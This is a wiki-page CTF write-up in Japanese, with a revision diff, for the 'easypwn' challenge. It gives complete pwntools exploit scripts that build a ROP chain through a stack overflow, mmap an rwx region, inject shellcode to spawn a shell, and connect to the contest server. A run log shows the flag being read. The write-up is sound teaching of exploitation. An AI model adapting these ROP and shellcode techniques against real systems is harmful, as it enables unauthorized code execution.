サイズ: 5538
コメント:
|
← 2014-12-26 02:26:19時点のリビジョン5 ⇥
サイズ: 7128
コメント:
|
削除された箇所はこのように表示されます。 | 追加された箇所はこのように表示されます。 |
行 7: | 行 7: |
== 問題(和訳) == == メモ == == 解法 == |
== 解法1 == |
行 55: | 行 51: |
SYSCALL = p32(0x8048080) POP4 = p32(0x80480bb) SETESI = p32(0x80480eb) ADD5ETOAL = p32(0x80480ea) |
SYSCALL = p32(0x8048080) POP4 = p32(0x80480bb) # add esp, 0x10; ret SETESI = p32(0x80480eb) # pop esi; ret ADD5ETOAL = p32(0x80480ea) # add al, 0x5e; ret |
行 86: | 行 82: |
s1 += "A"*(0x62-len(s1)-1) | s1 += "A"*(0x62-len(s1)) |
行 102: | 行 98: |
rop2 += p32(0x40400000) # run shellcode | rop2 += p32(bufaddr) # run shellcode |
行 106: | 行 102: |
s2 += "A"*(0x47-len(s2)-1) | s2 += "A"*(0x47-len(s2)) |
行 117: | 行 113: |
conn.send(s1 + "\n") | conn.send(s1) |
行 121: | 行 117: |
conn.send(s2 + "\n") conn.send(shellcode + "\n") |
conn.send(s2) conn.send(shellcode) |
行 152: | 行 148: |
== 解法2 == hhc0nullさんにROPを二回に分けなくても出来るんじゃないかと言われたのでやってみたら, readを2回(stager + shellcode)しかしないバージョンができた。 mmapのaddrとlengthの値を同じにすることによって,次のreadの読み込み先を確保したメモリ領域にすることができる。 {{{#!highlight python import sys import time from pwn import * context(arch = 'i386', os = 'linux') SYSCALL = p32(0x8048080) POP4 = p32(0x80480bb) # add esp, 0x10; ret SETESI = p32(0x80480eb) # pop esi; ret ADD5ETOAL = p32(0x80480ea) # add al, 0x5e; ret DUMMY = "AAAA" bufaddr = 0x100000 ############################################ rop = "" # eax = 0x62 rop += ADD5ETOAL # eax = 0xc0 (mmap2) rop += SETESI rop += p32(0x22) # MAP_ANONYMOUS|MAP_PRIVATE rop += SYSCALL # call mmap rop += POP4 rop += p32(bufaddr) # addr rop += p32(bufaddr) # length (ecx) rop += p32(7) # PROT_READ|PROT_WRITE|PROT_EXEC rop += DUMMY rop += SETESI rop += p32(0x8048080) # restore esi rop += p32(0x80480a9) # read(STDIN, ecx, 128); esp += 0x10; ret rop += DUMMY*4 rop += p32(bufaddr) # run shellcode s = "A"*16 s += rop s += "A"*(0x62-len(s)) ############################################ shellcode = asm(shellcraft.sh()) #conn = process("./easypwn") conn = remote("pwnable.katsudon.org", 28099) print conn.recvuntil(': ') print hexii(s) conn.send(s) time.sleep(0.5) conn.send(shellcode) conn.interactive() }}} |
easypwn
問題
Pwn me! The flag is in /home/easypwn/flag. ASLR enabled, no libs.
easypwn
解法1
バイナリ自体は極めて簡潔ですぐに読み終わる。何しろlibcすらリンクされておらず,自力でシステムコールを呼び出している。 readで0x80バイト読み込んでおり,return addressから先0x70バイト以内を上書きできる。 よってROPでsyscallを呼び出してopen+readないしシェルをexecveすればよいのだが,なにぶんバイナリが格段に小さいため,利用できるガジェットが非常に限られている。そもそもバイナリ中にc3 (ret)が3回しか出てこない。 さらに,このバイナリには書き込みできるメモリ領域がスタックしか存在していない。このままではスタックの場所を取得しなければならない。
syscall関数は次のように,システムコールの引数を3つ分スタックから読んで,eaxで指定したシステムコールを実行するようになっている。
08048080 <syscall>: 8048080: 8b 54 24 0c mov 0xc(%esp),%edx 8048084: 8b 4c 24 08 mov 0x8(%esp),%ecx 8048088: 8b 5c 24 04 mov 0x4(%esp),%ebx 804808c: cd 80 int $0x80 804808e: c3 ret 804808f: 90 nop
よって,システムコールを呼び出すときにはeaxにシステムコール番号をなんとかして作り出す必要がある。
readシステムコールは,読み取った長さをeaxに格納することに注目すると,pwn_me内部のreadの後に0x80以下の値を作り出すことが可能である。 ただし,実際には読み取った内容でreturn addressを書き換えてROPを構成しなければならないことを考えると,ある程度大きな値でなくてはならない。 よってopen (0x5)やread (0x3)をこれによって直接作ることはできない。
そこで,次のようなガジェットが存在することに注目する。
80480ea: 04 5e add al, 0x5e 80480ec: c3 ret
これを用いることで,eaxの最下位バイトだけに0x5eを加えることができるから, (0x47 + 0x5e + 0x5e) % 256 = 0x03のようにして小さい値を作り出すことができる。
さらに,書き込める固定されたメモリ領域が存在しないことについては, システムコールが自由に利用できるのであるからmmapで作ってしまえば良い。 パーミッションも自由に設定できるので,ここにシェルコードを置いて実行してしまえば良い。
以上より,次の方針でエクスプロイトを作成した。 まずmmapで固定されたrwxな領域を作り,もう一度pwn_meを呼び出してeaxを再設定して, 作成した領域にreadでシェルコードを書き込み,シェルコードへreturnする。
1 import sys
2 import time
3 from pwn import *
4 context(arch = 'i386', os = 'linux')
5
6 SYSCALL = p32(0x8048080)
7 POP4 = p32(0x80480bb) # add esp, 0x10; ret
8 SETESI = p32(0x80480eb) # pop esi; ret
9 ADD5ETOAL = p32(0x80480ea) # add al, 0x5e; ret
10 DUMMY = "AAAA"
11
12 bufaddr = 0x40400000
13
14 ############################################
15 rop1 = ""
16 # eax = 0x62
17 rop1 += ADD5ETOAL
18 # eax = 0xc0 (mmap2)
19
20 rop1 += SETESI
21 rop1 += p32(0x22) # MAP_ANONYMOUS|MAP_PRIVATE
22
23 rop1 += SYSCALL # call mmap
24 rop1 += POP4
25 rop1 += p32(bufaddr) # addr
26 rop1 += p32(0x10000) # length
27 rop1 += p32(7) # PROT_READ|PROT_WRITE|PROT_EXEC
28 rop1 += DUMMY
29
30 rop1 += SETESI
31 rop1 += p32(0x8048080) # restore esi
32
33 rop1 += p32(0x8048090) # re-execute pwn_me
34
35 s1 = "A"*16
36 s1 += rop1
37 s1 += "A"*(0x62-len(s1))
38
39 ############################################
40 rop2 = ""
41 # eax = 0x47
42 rop2 += ADD5ETOAL
43 rop2 += ADD5ETOAL
44 # eax = 0x03
45
46 rop2 += SYSCALL # call read
47 rop2 += POP4
48 rop2 += p32(0) # stdin
49 rop2 += p32(bufaddr) # buf
50 rop2 += p32(0x80) # length
51 rop2 += DUMMY
52
53 rop2 += p32(bufaddr) # run shellcode
54
55 s2 = "A"*16
56 s2 += rop2
57 s2 += "A"*(0x47-len(s2))
58
59 ############################################
60 shellcode = asm(shellcraft.sh())
61
62
63 #conn = process("./easypwn")
64 conn = remote("pwnable.katsudon.org", 28099)
65 print conn.recvuntil(': ')
66
67 print hexii(s1)
68 conn.send(s1)
69 print conn.recvuntil(': ')
70
71 print hexii(s2)
72 conn.send(s2)
73
74 conn.send(shellcode)
75 conn.interactive()
% python exploit.py [+] Opening connection to pwnable.katsudon.org on port 28099: OK pwn me: 00000000 .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A | 00000010 ea 80 04 08 eb 80 04 08 ." 80 80 04 08 | 00000020 bb 80 04 08 .@ .@ 01 07 | 00000030 .A .A .A .A eb 80 04 08 80 80 04 08 90 80 04 08 | 00000040 .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A | * 00000060 .A | 00000061 pwn me: 00000000 .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A | 00000010 ea 80 04 08 ea 80 04 08 80 80 04 08 bb 80 04 08 | 00000020 .@ .@ 80 .A .A .A .A | 00000030 .@ .@ .A .A .A .A .A .A .A .A .A .A .A .A | 00000040 .A .A .A .A .A .A | 00000046 [*] Switching to interactive mode $ ls flag $ cat flag ADCTF_175_345y_7o_cON7ROL_5Y5c4LL $
解法2
hhc0nullさんにROPを二回に分けなくても出来るんじゃないかと言われたのでやってみたら, readを2回(stager + shellcode)しかしないバージョンができた。
mmapのaddrとlengthの値を同じにすることによって,次のreadの読み込み先を確保したメモリ領域にすることができる。
1 import sys
2 import time
3 from pwn import *
4 context(arch = 'i386', os = 'linux')
5
6 SYSCALL = p32(0x8048080)
7 POP4 = p32(0x80480bb) # add esp, 0x10; ret
8 SETESI = p32(0x80480eb) # pop esi; ret
9 ADD5ETOAL = p32(0x80480ea) # add al, 0x5e; ret
10 DUMMY = "AAAA"
11
12 bufaddr = 0x100000
13
14 ############################################
15 rop = ""
16 # eax = 0x62
17 rop += ADD5ETOAL
18 # eax = 0xc0 (mmap2)
19
20 rop += SETESI
21 rop += p32(0x22) # MAP_ANONYMOUS|MAP_PRIVATE
22
23 rop += SYSCALL # call mmap
24 rop += POP4
25 rop += p32(bufaddr) # addr
26 rop += p32(bufaddr) # length (ecx)
27 rop += p32(7) # PROT_READ|PROT_WRITE|PROT_EXEC
28 rop += DUMMY
29
30 rop += SETESI
31 rop += p32(0x8048080) # restore esi
32
33 rop += p32(0x80480a9) # read(STDIN, ecx, 128); esp += 0x10; ret
34 rop += DUMMY*4
35
36 rop += p32(bufaddr) # run shellcode
37
38 s = "A"*16
39 s += rop
40 s += "A"*(0x62-len(s))
41
42 ############################################
43 shellcode = asm(shellcraft.sh())
44
45 #conn = process("./easypwn")
46 conn = remote("pwnable.katsudon.org", 28099)
47 print conn.recvuntil(': ')
48
49 print hexii(s)
50 conn.send(s)
51
52 time.sleep(0.5)
53 conn.send(shellcode)
54 conn.interactive()